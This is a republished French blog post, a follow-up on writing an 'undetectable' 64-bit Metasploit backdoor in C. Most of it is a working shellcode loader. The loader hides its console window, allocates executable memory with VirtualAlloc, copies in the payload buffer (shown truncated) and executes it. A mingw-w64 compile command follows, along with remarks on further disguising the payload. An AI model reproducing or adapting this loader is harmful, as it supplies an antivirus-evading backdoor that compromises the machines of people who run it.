Republication d'article : source
Ceci est un complément au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » .
J’y expliquais comment créer une « backdoor » « 32 bit », mais pas « 64 bit » .
Mes tests de « backdoor » « 64 bit » plantaient systématiquement, avec un message d’erreur abscons … J’étais pourtant sur la bonne piste et j’ai trouvé la solution quelques heures après la publication de mon « blog post » sur la version « 32 bit » …
Ici, les explications et l’exemple sont très simple. Référez-vous au « blog post » « Metasploit: Générer une « backdoor » indétectable en C » pour obtenir plus d’information.
Vous y verrez notamment comment:
J’avais raison de m’étonner qu’on puisse exécuter aussi facilement du code présent dans les données d’un programme… en « 32 bit » , car en pratique, par défaut, ce n’est pas possible avec un logiciel en « 64 bit ».
Mais heureusement, Micro$oft a bien fait les choses pour qu’on puisse qu’en même s’amuser.
Pour exécuter un « payload » en « 64 bit » , il faut qu’il soit dans la mémoire où l’execution de code est permise. Pour allouer cette mémoire, il « suffit » d’utiliser la fonction « VirtualAlloc() » en lui passant les bon arguments…
Reprenons le source de notre précédent article et apportons lui les modifications nécessaires:
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xfc\xe8\... ... ... ... ...\xff\xd5"; void main(void) { void *exec = NULL; ShowWindow(GetConsoleWindow(),SW_HIDE); if ( NULL != ( exec = VirtualAlloc( NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) { memcpy( exec , buf , sizeof( buf ) ); ((void (*)())exec)(); } }
En résumé:
Dans mon cas, n’ayant pas d’autres moyens, j’utilise « mingw-w64 » pour compiler ce bout de code.
Une fois dans l’environnement « mingw-w64 »:
C:\Dev\Labo\C\Backdoor64\> gcc -o backdoor.exe backdoor.c -lwsock32
Ceci n’est qu’un exemple.
Il y a un peu plus de travail pour camoufler parfaitement la charge utile.
Sources :